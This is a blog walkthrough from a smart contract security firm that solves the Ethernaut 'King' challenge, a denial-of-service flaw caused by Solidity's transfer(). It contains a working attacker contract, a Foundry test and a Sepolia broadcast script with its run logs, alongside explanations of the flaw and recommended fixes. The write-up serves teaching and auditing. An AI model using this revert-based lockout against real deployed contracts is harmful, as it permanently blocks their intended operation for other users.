← Back to blog
Mike B. - SecLat SecurityMay 13, 2026

Ethernaut Level 9 Walkthrough: Breaking the King Contract using transfer()

In this article, we will analyze and solve Ethernaut Level 9: King.

This level introduces a classic Denial of Service (DoS) vulnerability caused by the unsafe use of transfer() in Solidity.

Besides solving the challenge, we will also understand:

  • How send, transfer, and call work
  • Why transfer() can lock contracts
  • How to exploit a DoS via revert vulnerability
  • How to build an attacker contract in Solidity
  • How to validate the exploit using Foundry and Sepolia

This series is designed for both smart contract developers and people interested in Web3 offensive security and smart contract auditing.

If you are a developer, you will learn insecure patterns that should be avoided in production environments.

If you are interested in smart contract security, these challenges will help you recognize real vulnerabilities commonly found in exploits and professional audits.

You can try solving the challenge on your own first and then come back to this writeup, or follow the article step by step while we analyze the exploit so you can fully understand the vulnerability before solving the challenge in Ethernaut yourself.

If you want to watch the videos where I solved the first 8 Ethernaut challenges and learn about those vulnerabilities, you can check out our channel on YouTube - Seclat, and don't forget to subscribe.

What is Ethernaut?

Ethernaut is a platform created by OpenZeppelin to learn smart contract security through practical challenges.

Each level introduces a real-world vulnerability historically used in smart contracts, allowing users to learn exploitation techniques, vulnerability analysis, and mitigation strategies in Solidity.

In this article, we will solve the King challenge, focused on Denial of Service (DoS) vulnerabilities caused by unsafe ETH transfers.

Challenge Description

The challenge implements a simple game where the user who sends the highest amount of ETH becomes the new king of the contract.

However, any user can dethrone the current king by sending a higher amount of ETH.

The goal of the challenge is:

Become the king and prevent anyone else from taking the throne.

Vulnerability Classification

CategoryValue
Vulnerability:Denial of Service (DoS)
Root Cause:Unsafe use of transfer()
Impact:Permanent game lock
Severity:Medium
Attack Type:DoS via revert

Vulnerable Contract Analysis

This is the contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

Root Cause of the Vulnerability

At first glance, the contract appears secure: it simply implements a game mechanic where the user sending the highest amount of ETH becomes the new king.

However, the contract contains a critical Denial of Service (DoS) vulnerability caused by using transfer() to refund the previous king.

The vulnerable logic is the following:

payable(king).transfer(msg.value);

The contract attempts to refund the previous king before updating the new one.

The issue is that transfer() automatically reverts if the recipient cannot receive ETH.

This means that if an attacker becomes king using a contract that rejects ETH transfers, every future attempt to dethrone the attacker will fail.

This vulnerability is not about stealing funds.

The attacker's goal is to permanently block the normal execution flow of the contract, preventing future users from becoming the new king.

Understanding: send, transfer, and call

To fully understand this challenge, it is important to understand how the main ETH transfer methods in Solidity work.

send

address(payable).send(amount)

Characteristics:

  • Sends ETH to an address
  • Forwards only 2300 gas
  • Returns true or false to validate the transaction
  • Does not automatically revert

transfer

address(payable).transfer(amount)

Characteristics:

  • Sends ETH to an address
  • Forwards only 2300 gas
  • Automatically reverts on failure

This behavior is precisely the root cause of the vulnerability in this challenge.

call

address.call{value: amount}("")

Characteristics:

  • Modern recommended method for sending ETH
  • Dynamically forwards gas following the EIP-150 63/64 rule
  • Returns (bool success, bytes memory data)
  • Allows arbitrary code execution on the receiver

Because of this, functions using call should be protected against reentrancy attacks using patterns such as:

  • Checks-Effects-Interactions (CEI)
  • Reentrancy Guards

Why is transfer() Dangerous?

Although send() and transfer() are still available in Solidity, they are currently considered anti-patterns for ETH transfers due to gas cost changes introduced by EIPs such as EIP-1884.

The modern recommendation is to use:

address.call{value: amount}("")

combined with proper reentrancy protections.

Attack Strategy

Now that we understand the issue, we can design the exploit.

We know that:

  1. The contract uses transfer()
  2. transfer() reverts if the receiver cannot accept ETH
  3. The contract refunds the previous king before updating the new king

Therefore, our strategy will be:

  1. Create an attacker contract that CANNOT receive ETH
  2. Become the king using that contract
  3. Force all future dethroning attempts to fail

This allows us to permanently lock the contract.

Attacker Contract

We will create the following attacker contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

///@notice This contract cannot receive ether, so once it becomes the king, it will never give up the throne,
// because the receive function of the King contract will fail when trying to send ether to this contract.
contract KingForever {
    address public king;
    address public owner;

    constructor(address _kingSC) {
        owner = msg.sender;
        king = _kingSC;
    }

    /// Execute the attack and become the king forever.
    function attack() public payable {
        require(owner == msg.sender, "Not The Owner");
        (bool result,) = king.call{value: msg.value}("");
        if (!result) revert();
    }
}

This contract executes the attack by sending ETH to the vulnerable contract to become the new king.

The key part of the exploit is that this contract does not implement either receive() or fallback() functions to accept ETH.

As a result, when the King contract attempts to refund ETH using transfer(), the transaction automatically reverts.

Validating the Exploit with Foundry

After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {King} from "src/levels/King.sol";
import {KingFactory} from "src/levels/KingFactory.sol";
import {KingForever} from "test/Solutions/Attacks/KingForever.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestKing_L8 is Test, Utils {
    Ethernaut ethernaut;
    King instance;
    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);
        owner = users[0];
        vm.label(owner, "Owner");
        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        KingFactory factory = new KingFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = King(
            payable(
                createLevelInstance(
                    ethernaut,
                    Level(address(factory)),
                    0.001 ether
                )
            )
        );
        vm.stopPrank();
    }

    /// @notice Check initial state.
    function testInit() public {
        vm.startPrank(player);
        assertFalse(
            submitLevelInstance(ethernaut, address(instance))
        );
    }

    /// @notice Execute the exploit.
    function testSolve() public {
        vm.startPrank(player);
        KingForever attacker =new KingForever(address(instance));
        attacker.attack{value: 0.002 ether}();
        assertEq(instance._king(), address(attacker));
        assertTrue(
            submitLevelInstance(ethernaut, address(instance))
        );
    }
}

Running the Test

To execute the test on a Sepolia fork, run:

forge test --mp King_L8.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vv

You must have the SEPOLIA_RPC variable configured inside your .env file.

If the terminal does not recognize $SEPOLIA_RPC, run:

source .env

Once executed, we can verify that the exploit works correctly and the level is successfully solved.

Solving the Level on Sepolia

Now we will create a script to execute the exploit directly against the Ethernaut instance.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {King} from "src/levels/King.sol";
import {KingForever} from "test/Solutions/Attacks/KingForever.sol";

import {console} from "forge-std/console.sol";

contract KingScript is Script {
    King public king;
    KingForever public attacker;
    address player =0x79ca0378515232218094a16B2CEdB7f3f0c6b657;

    function setUp() public {
        king = King(
            payable(
                0xCCB930b75db245A557aFC7A84f52bBd3F2dFd513
            )
        );
    }

    function run() public {
        vm.startBroadcast();
        attacker = new KingForever(address(king));
        attacker.attack{value: 0.002 ether}();

        console.log("Attacker contract address:",address(attacker));
        console.log("Current king:",king._king());
        vm.stopBroadcast();
    }
}

Running the Script

First, execute the script locally:

forge script scripts/King.s.sol --rpc-url $SEPOLIA_RPC

If everything works correctly, broadcast it to Sepolia:

forge script scripts/King.s.sol \
--rpc-url $SEPOLIA_RPC \
--broadcast \
--interactives 1 \
-vvv

Attack Result

Script ran successfully.

== Logs ==
  Attacker contract address: 0xEBBDD258e21f074fa24cc4209c0513A0774A5ec9
  Current king: 0xEBBDD258e21f074fa24cc4209c0513A0774A5ec9

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.

Once the script executes successfully, the attacker contract becomes the permanent king of the game.

Finally, submit the instance on the Ethernaut platform to mark the level as solved.

Ethernaut solved

Lessons Learned

This challenge demonstrates why using transfer() can introduce Denial of Service vulnerabilities in smart contracts.

When a contract depends on ETH transfers always succeeding, an attacker can completely block the system logic using a contract that rejects incoming funds.

Current best practices recommend:

  • Using call{value: amount}("")
  • Implementing the Checks-Effects-Interactions pattern
  • Protecting external calls with anti-reentrancy mechanisms
  • Avoiding assumptions that recipients can always receive ETH

Although Ethernaut simplifies scenarios for educational purposes, this type of vulnerability has appeared in real-world Ethereum protocols.

Conclusion

In this challenge, we exploited a DoS vulnerability caused by the unsafe use of transfer().

We created an attacker contract incapable of receiving ETH and used it to permanently lock the vulnerable contract, preventing any other user from becoming the new king.

This level is an excellent introduction to:

  • DoS via revert
  • Unsafe ETH transfers
  • transfer() limitations
  • Secure ETH transfer patterns
  • Smart contract secure design

If you enjoyed this writeup, you can follow the full series where we solve additional Ethernaut levels and analyze real smart contract and DeFi protocol vulnerabilities.

If you are looking for a security audit for your protocol, feel free to contact us through our website seclat.xyz.

You can also find more Web3 security content on our blog.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.